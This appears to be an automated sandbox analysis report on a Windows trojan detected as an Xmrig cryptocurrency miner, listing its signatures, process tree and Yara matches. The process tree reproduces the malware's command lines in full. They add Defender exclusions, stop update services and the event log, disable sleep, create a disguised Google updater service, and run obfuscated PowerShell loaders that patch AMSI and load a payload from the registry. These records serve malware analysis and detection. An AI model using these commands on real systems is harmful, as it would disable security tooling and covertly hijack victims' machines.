Edit tour

Windows Analysis Report
egFMhHSlmf.exe

Overview

General Information

Sample name:	egFMhHSlmf.exe renamed because original name is a hash value
Original sample name:	1417d38c40d85d1c4eb7fad3444ca069.exe
Analysis ID:	1530444
MD5:	1417d38c40d85d1c4eb7fad3444ca069
SHA1:	27d8e2ca9537c80d1c1148830f9a6499f1e3e797
SHA256:	5f7c6cdea3c4e825af1d796cbd34b2d45b2b6fabed130e717a30a6d871993f5d
Tags:	64exetrojan
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Disable power options

Sigma detected: Stop EventLog

Suricata IDS alerts for network traffic

Yara detected Xmrig cryptocurrency miner

.NET source code contains process injector

.NET source code references suspicious native API functions

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Connects to a pastebin service (likely for C&C)

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Found strings related to Crypto-Mining

Found suspicious powershell code related to unpacking or dynamic code loading

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Loading BitLocker PowerShell Module

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Modifies the hosts file

Modifies the prolog of user mode functions (user mode inline hooks)

Obfuscated command line found

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential WinAPI Calls Via CommandLine

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Suspicious powershell command line found

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates COM task schedule object (often to register a task for autostart)

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Uncommon Svchost Parent Process

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

egFMhHSlmf.exe (PID: 1764 cmdline: "C:\Users\user\Desktop\egFMhHSlmf.exe" MD5: 1417D38C40D85D1C4EB7FAD3444CA069)

powershell.exe (PID: 7056 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5128 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 948 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 4568 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 1492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4876 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 4856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5692 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2144 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7008 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2676 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 6428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6104 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7080 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 3560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 2032 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 1436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 3084 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

sc.exe (PID: 5360 cmdline: C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 2248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 3540 cmdline: C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5704 cmdline: C:\Windows\system32\sc.exe stop eventlog MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4856 cmdline: C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3768 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:OkULRfyuHQtJ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$DHHElPDheRwtsc,[Parameter(Position=1)][Type]$RGuqRFFAmI)$xKbDjiiiAOv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+[Char](102)+''+[Char](108)+''+'e'+''+'c'+'t'+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'yMo'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('My'+'D'+'el'+[Char](101)+''+[Char](103)+'a'+'t'+''+'e'+''+[Char](84)+'yp'+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+'Pu'+'b'+'l'+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'e'+'a'+'l'+''+'e'+'d,'+[Char](65)+'ns'+'i'+''+[Char](67)+''+[Char](108)+'as'+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+'s',[MulticastDelegate]);$xKbDjiiiAOv.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$DHHElPDheRwtsc).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+','+'Man'+'a'+'g'+[Char](101)+''+[Char](100)+'');$xKbDjiiiAOv.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+'B'+'y'+[Char](83)+''+'i'+'g'+','+'N'+[Char](101)+'w'+'S'+''+[Char](108)+''+[Char](111)+'t'+','+''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$RGuqRFFAmI,$DHHElPDheRwtsc).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',Ma'+[Char](110)+''+'a'+''+[Char](103)+'e'+'d'+'');Write-Output $xKbDjiiiAOv.CreateType();}$HPsmfKkDEZPEO=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+[Char](114)+''+'o'+'s'+'o'+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+'v'+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+'h'+[Char](111)+''+[Char](100)+''+[Char](115)+'');$AzPrwzsUpDJMwf=$HPsmfKkDEZPEO.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'P'+[Char](114)+''+[Char](111)+'cA'+'d'+'d'+[Char](114)+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PKjZFAJMrKtEHtCAQET=OkULRfyuHQtJ @([String])([IntPtr]);$TwfHJfbEiJESflVXJDRdie=OkULRfyuHQtJ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$VJhcAYUztep=$HPsmfKkDEZPEO.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'M'+'od'+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+''+'2'+'.'+[Char](100)+'l'+[Char](108)+'')));$pGTzdTbPDPtdSw=$AzPrwzsUpDJMwf.Invoke($Null,@([Object]$VJhcAYUztep,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$gmmiBVEmviKAGYOfq=$AzPrwzsUpDJMwf.Invoke($Null,@([Object]$VJhcAYUztep,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'ua'+[Char](108)+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+'c'+''+'t'+'')));$RgMdvyV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($pGTzdTbPDPtdSw,$PKjZFAJMrKtEHtCAQET).Invoke(''+[Char](97)+'m'+'s'+''+'i'+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$RRZbMqrVsxPNJwFWd=$AzPrwzsUpDJMwf.Invoke($Null,@([Object]$RgMdvyV,[Object]('Am'+[Char](115)+''+'i'+'S'+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+'u'+[Char](102)+'fe'+[Char](114)+'')));$InrlgaQyOp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gmmiBVEmviKAGYOfq,$TwfHJfbEiJESflVXJDRdie).Invoke($RRZbMqrVsxPNJwFWd,[uint32]8,4,[ref]$InrlgaQyOp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$RRZbMqrVsxPNJwFWd,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gmmiBVEmviKAGYOfq,$TwfHJfbEiJESflVXJDRdie).Invoke($RRZbMqrVsxPNJwFWd,[uint32]8,0x20,[ref]$InrlgaQyOp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+'W'+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+'l'+'er'+'s'+'ta'+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dllhost.exe (PID: 3820 cmdline: C:\Windows\System32\dllhost.exe /Processid:{ed3c9ad9-1a05-4753-a177-d35f4db59610} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

winlogon.exe (PID: 560 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

dllhost.exe (PID: 7080 cmdline: C:\Windows\System32\dllhost.exe /Processid:{221f05ee-8fb0-4424-9ba0-bc3ff8f1bf74} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 436 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 376 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

lsass.exe (PID: 652 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 928 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 996 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

updater.exe (PID: 5712 cmdline: C:\ProgramData\Google\Chrome\updater.exe MD5: 1417D38C40D85D1C4EB7FAD3444CA069)

powershell.exe (PID: 7068 cmdline: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3268 cmdline: C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wusa.exe (PID: 1944 cmdline: wusa /uninstall /kb:890830 /quiet /norestart MD5: FBDA2B8987895780375FE0E6254F6198)

sc.exe (PID: 2676 cmdline: C:\Windows\system32\sc.exe stop UsoSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 6428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4364 cmdline: C:\Windows\system32\sc.exe stop WaaSMedicSvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6904 cmdline: C:\Windows\system32\sc.exe stop wuauserv MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 5704 cmdline: C:\Windows\system32\sc.exe stop bits MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 3220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 4980 cmdline: C:\Windows\system32\sc.exe stop dosvc MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

conhost.exe (PID: 5724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 1948 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 7052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 6600 cmdline: C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 4188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 3816 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 5696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 5372 cmdline: C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

conhost.exe (PID: 2436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

dialer.exe (PID: 5952 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 6900 cmdline: C:\Windows\system32\dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

dialer.exe (PID: 2248 cmdline: dialer.exe MD5: B2626BDCF079C6516FC016AC5646DF93)

powershell.exe (PID: 2120 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:tvJmJWkkljdL{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$rUCvlIraVSkSNU,[Parameter(Position=1)][Type]$lDxjOqsFCa)$hzEPfdAIUJU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+'d'+''+'D'+''+'e'+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+'Mem'+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+'ic'+','+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+'d'+','+[Char](65)+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+''+[Char](111)+''+[Char](67)+''+'l'+''+'a'+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$hzEPfdAIUJU.DefineConstructor('R'+'T'+'Sp'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+''+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+'i'+''+[Char](103)+''+','+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$rUCvlIraVSkSNU).SetImplementationFlags('Ru'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'aged');$hzEPfdAIUJU.DefineMethod('I'+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+''+'b'+''+[Char](108)+''+'i'+''+'c'+''+','+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](78)+'e'+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t,V'+'i'+''+'r'+''+[Char](116)+''+'u'+'a'+'l'+'',$lDxjOqsFCa,$rUCvlIraVSkSNU).SetImplementationFlags(''+'R'+''+'u'+'n'+[Char](116)+''+'i'+'m'+[Char](101)+''+[Char](44)+''+[Char](77)+''+'a'+''+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $hzEPfdAIUJU.CreateType();}$opuJgspdjbNOB=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+'t'+[Char](46)+'W'+[Char](105)+''+[Char](110)+'3'+[Char](50)+''+'.'+''+[Char](85)+'n'+[Char](115)+''+'a'+'f'+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+'et'+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$JRxrSkXtFvoHQj=$opuJgspdjbNOB.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'P'+'r'+[Char](111)+'c'+[Char](65)+''+'d'+''+'d'+''+[Char](114)+'es'+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+'t'+'a'+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$BKEqIqCwRefEvWHkEvb=tvJmJWkkljdL @([String])([IntPtr]);$jHKuyMaewNXWYnPAXNtVwb=tvJmJWkkljdL @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TPsVJhpipYG=$opuJgspdjbNOB.GetMethod(''+'G'+''+'e'+'t'+[Char](77)+''+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+'e').Invoke($Null,@([Object]('k'+[Char](101)+''+'r'+'ne'+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$rnQeYQPaljIZIy=$JRxrSkXtFvoHQj.Invoke($Null,@([Object]$TPsVJhpipYG,[Object](''+'L'+''+'o'+''+'a'+''+[Char](100)+'Li'+[Char](98)+'r'+'a'+''+'r'+''+'y'+''+[Char](65)+'')));$baDhPfYjDHPSnZPKw=$JRxrSkXtFvoHQj.Invoke($Null,@([Object]$TPsVJhpipYG,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+'ua'+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+'e'+'c'+[Char](116)+'')));$dImCJWh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rnQeYQPaljIZIy,$BKEqIqCwRefEvWHkEvb).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$VaoZSrEKYRrKpAGDt=$JRxrSkXtFvoHQj.Invoke($Null,@([Object]$dImCJWh,[Object](''+[Char](65)+'m'+'s'+''+[Char](105)+'S'+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$HGMKYUxWWR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($baDhPfYjDHPSnZPKw,$jHKuyMaewNXWYnPAXNtVwb).Invoke($VaoZSrEKYRrKpAGDt,[uint32]8,4,[ref]$HGMKYUxWWR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VaoZSrEKYRrKpAGDt,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($baDhPfYjDHPSnZPKw,$jHKuyMaewNXWYnPAXNtVwb).Invoke($VaoZSrEKYRrKpAGDt,[uint32]8,0x20,[ref]$HGMKYUxWWR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'TW'+[Char](65)+'R'+[Char](69)+'').GetValue(''+'d'+'i'+[Char](97)+'l'+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+'r')).EntryPoint.Invoke($Null,$Null)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000042.00000002.3447887034.0000028A981B7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000042.00000002.3442004748.0000000140001000.00000040.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000042.00000002.3442004748.0000000140001000.00000040.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x36fc08:$a1: mining.set_target 0x361e30:$a2: XMRIG_HOSTNAME 0x3647a8:$a3: Usage: xmrig [OPTIONS] 0x361e08:$a4: XMRIG_VERSION

Unpacked PEs
